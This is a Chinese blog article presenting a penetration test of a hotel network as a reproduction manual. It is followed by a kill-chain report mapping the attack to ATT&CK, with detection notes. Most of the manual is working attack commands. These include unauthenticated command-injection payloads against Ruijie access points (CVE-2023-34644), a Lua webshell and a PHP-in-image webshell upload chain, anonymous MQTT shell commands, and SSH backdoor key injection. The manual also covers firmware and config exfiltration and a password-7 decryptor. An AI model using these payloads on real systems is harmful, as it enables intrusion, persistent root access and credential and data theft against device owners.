记录一次真实Hotel实战渗透测试

admin 2026-09-15 05:02:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档为一次真实Hotel环境实战渗透测试的脱敏复现手册,详细记录了从资产发现、免鉴权RCE利用、Luawebshell植入、telnet弱口令、网关四段链getshell、MQTT匿名总线控制、SSH桥建立到配置固件外带的完整攻击链,并映射LockheedMartin杀伤链七阶段。文档提供了可操作的具体命令步骤,并强调仅限自有授权环境使用,对红队实战与安全建设具有较高参考价值。 综合评分: 88 文章分类: 渗透测试,红队,内网渗透,漏洞分析


记录一次真实Hotel实战渗透测试

网安之家-CyberHomestead

2026年9月14日 21:45 河北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

复现手册(脱敏版 · 简明步骤)

仅限自有授权环境。所有主机/凭据已脱敏为 xxxxxx / 192.168.xx.xx,替换为你自己环境的值即可。 环境:Windows + Git Bash(curl/openssl/ssh 均可用)、Python 3(py)、任意 MQTT 客户端


步骤 0 · 资产发现与纠偏

fscan -h 192.168.xx.xx/22                      # 初扫
# 拿到网关后进 telnet 纠偏资产表:
telnet 192.168.xx.xx                           # 密码 xxxxxx → enable → xxxxxx
show arp                                       # 真实主机数(比 ICMP 准)
show ip dhcp binding                           # 全部客户端

步骤 1 · 免鉴权 RCE #1(checkNet,适用 17 台 EAP)

# 盲测(看响应时间差)
time curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth \
  -H "Content-Type: application/json" \
  -d '{"method":"checkNet","params":{"host":"`sleep 5`"}}'
# 基线约 1s → 注入后约 6s = 存在

# 落盘回读拿回显
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth \
  -H "Content-Type: application/json" \
  -d '{"method":"checkNet","params":{"host":"`id>/www/cgi-bin/o.txt 2>&1`"}}'
curl -s http://192.168.xx.xx/cgi-bin/o.txt     # → uid=0(root)

步骤 2 · 免鉴权 RCE #2(merge,CVE-2023-34644,更干净)

curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth \
  -H "Content-Type: application/json" \
  -d '{"method":"merge","params":{"a":"x';id>/www/cgi-bin/o.txt 2>&1;'x"}}'
curl -s http://192.168.xx.xx/cgi-bin/o.txt

步骤 3 · Lua Webshell(EAP 无 PHP,用 .lua CGI)

cat&nbsp;> ws.lua <<&nbsp;'EOF'
print("Content-Type: text/plain\n\n")
local&nbsp;q=os.getenv("QUERY_STRING") or&nbsp;""
q=q:gsub("%%20"," "):gsub("%%3B",";")
local&nbsp;f=io.popen(q)
print(f:read("*a"))
EOF
B64=$(base64&nbsp;-w0 ws.lua)
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -d&nbsp;"{\"method\":\"merge\",\"params\":{\"a\":\"x';echo&nbsp;$B64|base64 -d>/www/cgi-bin/ws.lua;'x\"}}"
curl -s&nbsp;"http://192.168.xx.xx/cgi-bin/ws.lua?id;uname%20-a"&nbsp; &nbsp; &nbsp;# 使用
curl -s&nbsp;"http://192.168.xx.xx/cgi-bin/ws.lua?rm%20-f%20/www/cgi-bin/ws.lua"&nbsp;&nbsp;# 自毁

步骤 4 · telnet 弱口令(老批 19 台 + 网关)

telnet 192.168.xx.xx &nbsp; &nbsp; &nbsp; &nbsp;# 老批: 密码 xxxxxx,直达 #
telnet 192.168.xx.xx &nbsp; &nbsp; &nbsp; &nbsp;# 网关: xxxxxx → enable → xxxxxx
show running-config &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 明文凭据/PPPoE/全量配置

步骤 5 · 网关四段链(root webshell)

# ① 取公钥
curl -s&nbsp;"http://192.168.xx.xx/login.php?a=getRsaPublicKey"&nbsp;-o rsa_pub.pem# ② 构造加密登录(AES 密钥为源码硬编码 xxxxxx)printf'admin'&nbsp;| openssl enc -e -aes-256-cbc -a -k&nbsp;'xxxxxx'&nbsp;-md md5 |&nbsp;tr&nbsp;-d&nbsp;'\n'&nbsp;> u.b64printf'你的密码'&nbsp;> pw.binopenssl rsautl -pkcs -encrypt -inkey rsa_pub.pem -pubin -in&nbsp;pw.bin -out pw.encopenssl&nbsp;base64&nbsp;-A -in&nbsp;pw.enc -out p.b64# ③ 登录(记录 Set-Cookie 会话)curl -s -i -X POST&nbsp;"http://192.168.xx.xx/login.php"&nbsp;\&nbsp; --data-urlencode&nbsp;"username=$(cat u.b64)"&nbsp;--data-urlencode&nbsp;"password=$(cat p.b64)"# ④ 伪装上传 + 注入 cp + getshellprintf'GIF89a<?php system($_GET["c"]);?>'&nbsp;> s.jpgSID="会话Cookie值"curl -s -H&nbsp;"Cookie:&nbsp;$SID"&nbsp;-F&nbsp;"[email protected];filename=1.jpg;type=image/jpeg"&nbsp;\"http://192.168.xx.xx/ddi/server/fileupload.php?uploadDir=xxxxxx/&name=s.jpg"curl -s -H&nbsp;"Cookie:&nbsp;$SID"&nbsp;-H&nbsp;"X-Requested-With: XMLHttpRequest"&nbsp;-X POST \"http://192.168.xx.xx/patch.php?a=setPatchAutoTime"&nbsp;\&nbsp; --data-urlencode&nbsp;"pram=x'\$(cp xxxxxx/s.jpg xxxxxx/ws.php)'x"curl -s&nbsp;"http://192.168.xx.xx/ws.php?c=id;uname%20-a"# → uid=0(root)# 清理curl -s&nbsp;"http://192.168.xx.xx/ws.php?c=rm%20-f%20xxxxxx/ws.php%20xxxxxx/s.jpg"curl -s -H&nbsp;"Cookie:&nbsp;$SID"&nbsp;"http://192.168.xx.xx/loginout.php"

步骤 6 · MQTT 匿名总线(集群)

# 任意 MQTT 客户端连 192.168.xx.xx:1883 无凭据;或用附带的 mqtt_probe.py
py mqtt_probe.py &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 匿名CONNECT + 订阅# 抓全网遥测(18台SN/顾客MAC/场所名)
# RPC 回环(只对自有测试机、无害载荷)
# &nbsp; 发布 → sys/001/AP/型号/序列号/rpc/shell/request/自定义operId
# &nbsp; 载荷 &nbsp;{"msg":{"cmds":["id"]}}
# &nbsp; 订阅 ← sys/001/AP/+/+/rpc/shell/response/+ 收回包
# ⚠️ FFFF/FFFF/setnetworkId 为全网广播主题,验证时严禁发布

步骤 7 · SSH 桥(root 交互 shell)

ssh-keygen -t rsa -b 2048 -f k -N&nbsp;""&nbsp;-q
B64=$(base64&nbsp;-w0 k.pub)
# 免鉴权注入公钥到厂商定制路径 + 拉起 dropbear
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -d&nbsp;"{\"method\":\"merge\",\"params\":{\"a\":\"x';mkdir -p /etc/dropbear;echo&nbsp;$B64|base64 -d>/etc/dropbear/authorized_keys;chmod 600 /etc/dropbear/authorized_keys;/usr/sbin/dropbear -p 2222 -R 2>/dev/null;'x\"}}"
# Windows 先修私钥 ACL(否则报 too open)
icacls k /inheritance:r && icacls k /grant:r&nbsp;"%USERNAME%:R"
# 连接(老 dropbear 需启用 legacy 算法)
ssh -i k -p 2222 -o KexAlgorithms=+diffie-hellman-group14-sha1 \
&nbsp; &nbsp; -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]
# → root@xxxxxx:~# id → uid=0(root)
# 拆桥
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -d&nbsp;'{"method":"merge","params":{"a":"x'"'"';killall dropbear;rm -f /etc/dropbear/authorized_keys;'"'"'"}}'

步骤 8 · 配置/固件外带(四跳链)

# 中转 AP 上预建接收文件(tftpd 无 --create):
curl -s -X POST http://中转AP/cgi-bin/luci/api/auth -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -d&nbsp;'{"method":"checkNet","params":{"host":"`touch /var/tftpd-hpa/f.bin;chmod 666 /var/tftpd-hpa/f.bin`"}}'
# 网关推送:
telnet 网关 → copy flash:xxxxxx tftp://中转AP/f.bin
# 中转 AP 零拷贝软链 + 拉取:
# &nbsp; ln -sf /var/tftpd-hpa/f.bin /www/cgi-bin/f.bin &nbsp; (经 RCE 执行)
curl -s -o f.bin http://中转AP/cgi-bin/f.bin
# 固件整机镜像(root shell 内):
# &nbsp; dd if=/dev/mtdblock5 of=/tmp/fw.bin &nbsp; → &nbsp;软链外带(7.8MB uImage)
# ⚠️ 小内存设备一次只做一个大文件,防 OOM

步骤 9 · 哈希离线验证(可复现凭据结论)

openssl passwd -1 -salt 盐值 猜测明文 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 与 shadow 比对
py crack_hashes.py &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 附带字典脚本

步骤 10 · type-7 解密(任意锐捷 password 7)

magic =&nbsp;'xxxxxx'&nbsp; &nbsp;# 40 字符密钥表,见报告第 2.7 节获取方式
def&nbsp;dec(ct):
&nbsp; &nbsp; s=int(ct[:2]);return&nbsp;''.join(chr(int(ct[2+i*2:4+i*2],16)^ord(magic[s+i]))&nbsp;for&nbsp;i&nbsp;in&nbsp;range((len(ct)-2)//2))

网络攻击链与杀伤链详细分析研究报告(脱敏版)

编号 NMC-2026-0911-KILLCHAIN | 基于 2026-09-11~12 十二轮实弹战役 | 全部敏感标识已脱敏

1. 总攻击链视图(四层递进)

[侦察] fscan 存活探测(12台) → 网关ARP表纠偏(73台真实资产) → MAC OUI 分群(锐捷×2批次)
&nbsp; &nbsp;↓
[首次立足] 单台AP免鉴权RCE#1(checkNet) → root → shadow → 同密码线索
&nbsp; &nbsp;↓
[横向扩张] 同密码×默认口令 → 16台RCE + 19台telnet特权 + 全部Web后台 → 集群MQTT匿名总线
&nbsp; &nbsp;↓
[核心目标] 出口网关四段链(加密登录→伪装上传→注入→webshell) → root → 源码/私钥/固件外带
&nbsp; &nbsp;↓
[持续化能力] SSH桥(authorized_keys定制路径) + MQTT RPC回环 + 检测规则反哺(防御方交付)

2. Lockheed Martin 杀伤链七阶段映射

阶段1 侦察 (Reconnaissance) — T1595/T1592/T1046

  • • 工具:fscan(ICMP+TCP 补充探测)
  • • 关键修正:扫描器漏报 6 倍 → 用网关 show arp(T1018)获得真实资产清单;DHCP binding 表 306 客户端
  • • 指纹纠偏:fscan 认错型号(NBS↔AP)→ 一律以 CLI show version 验身

阶段2 武器化 (Weaponization)

  • • 无恶意文件投递需求——目标自身漏洞即武器;仅本地构造:AES/RSA 加密登录体、PHP-in-JPG 多模态文件、Lua CGI webshell(b64 编码防转义)、RSA 密钥对
  • • 战役独有的”武器适配”:EAP 无 PHP → lighttpd cgi.assign(".lua") 映射改用 Lua webshell

阶段3 投递 (Delivery) — T1190

  • • 通道:HTTP 80(17 台 AP)、telnet 23(19+1 台)、MQTT 1883(集群)、HTTPS 4430(网关暗端口)
  • • 全部为被动可达的管理面——无钓鱼无社工

阶段4 利用 (Exploitation) — 三条独立链

| 链 | 向量 | ATT&CK | | — | — | — | | A | checkNet 反引号注入(免鉴权) | T1190+T1059.004 | | B | merge 单引号逃逸(免鉴权,CVE-2023-34644) | T1190+T1059.004 | | C | 网关:合法凭证(T1078)→上传黑名单绕过→patch.php 注入 | T1078+T1190 |

阶段5 安装 (Installation) — T1505.003/T1098.004

  • • Webshell ×2(Lua CGI / PHP),用后自毁
  • • SSH 桥:定制 dropbear 非标准 authorized_keys 路径 + 2222 端口(root 交互 shell)
  • • 未做开机持久化(演练纪律:不留存续)

阶段6 指挥控制 (C2) — T1021.004/T1071

  • • SSH(legacy KEX)/ HTTP 参数驱动 webshell / MQTT 订阅即遥测
  • • 值得注意:MQTT rpc/shell 请求-响应主题族是设备原生的 C2 通道(匿名可用,operId 回环已实测)

阶段7 目标行动 (Actions on Objectives)

  • • 凭据采集:T1003.008(shadow×16)、T1552.001(配置明文/硬编码密钥/type-7 表)
  • • 数据收集:T1005(running-config/源码/固件/审计日记)、T1213(行为审计库接口,库未启用)
  • • 外带:T1048——四跳链(网关 tftp → 中转 AP → web 目录 → HTTP),含零拷贝软链与轮询等待两个工程化技巧;固件 12.5MB + 源码 14.3MB + 私钥
  • • 影响能力(未执行):MQTT FFFF/FFFF 广播 = 全网 AP 同时执行命令/刷固件(T1105/T1210/T1543 潜在)
  • • 防御方交付:13 条 Suricata 规则 + 2 个 Nuclei 模板 + 证伪性分类器(26 项发现 0 项不可证伪)

3. 关键”链式反应”剖析(为什么一发不可收拾)

  1. 1. 凭证复用是放大器:单台 AP 的 shadow 破出一个明文 → 16/16 台 + 网关 + 交换机全开——杀伤链从”1 台 root”变”全网 root”只花了一次字典攻击的时间。
  2. 2. 管理面信任内网是前置条件:RCE/MQTT/telnet 全部无需出网,攻击者只需进入内网任意位置(本例中测试机本就在内网;现实里一个 Wi-Fi 弱口令即可复现同样位置——PSK 也是弱口令)。
  3. 3. 检测为零使链条无成本延伸:AP 无 access log、WAF 告警不阻断、设备无登录失败锁定——3 小时 39 台无一次告警,攻击者可以慢慢来。
  4. 4. 固件不升级是根因中的根因:两个免鉴权 RCE 均为 2023 年已公开且已有补丁的漏洞,设备固件停在 2021-07。

4. 每阶段的检测断点(防御方视角)

| 阶段 | 断点 | 对应规则(detection_pack) | | — | — | — | | 侦察 | 管理网段出现非白名单源的端口扫描/指纹请求 | 基线告警(自建) | | 利用 | /xxxxxx/api/auth POST 中含 method=checkNet/merge + 引号/反引号/$( | sid 1000001-000003 | | 安装 | web 目录新增非基线文件(.lua/.php/.bin) | 主机基线比对 | | C2 | 设备发起的非常规出站(2222/1883 新会话暴增) | sid 1000008-000010 | | 目标 | 管理平面 tftp 互传、暗端口访问 | sid 1000012-000013 | | 全局 | MQTT 广播主题收到任何消息 = 最高优先级 | sid 1000009 |

5. 与经典框架的对齐结论

  • • 杀伤链在”IoT/网维设备密集”内网的形态:利用阶段极短(一发即 root),扩张阶段极快(凭证复用),而检测断点全部缺失
  • • 最有效的单点防御不是设备加固,而是管理面隔离(独立 VLAN+ACL)——它一次性切断投递与横向两个阶段;
  • • 最有效的检测指标是**”管理协议来自非管理源”**这一条(规则包已覆盖全部 12 条链)。

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安之家-CyberHomestead 《记录一次真实Hotel实战渗透测试》

评论:0   参与:  0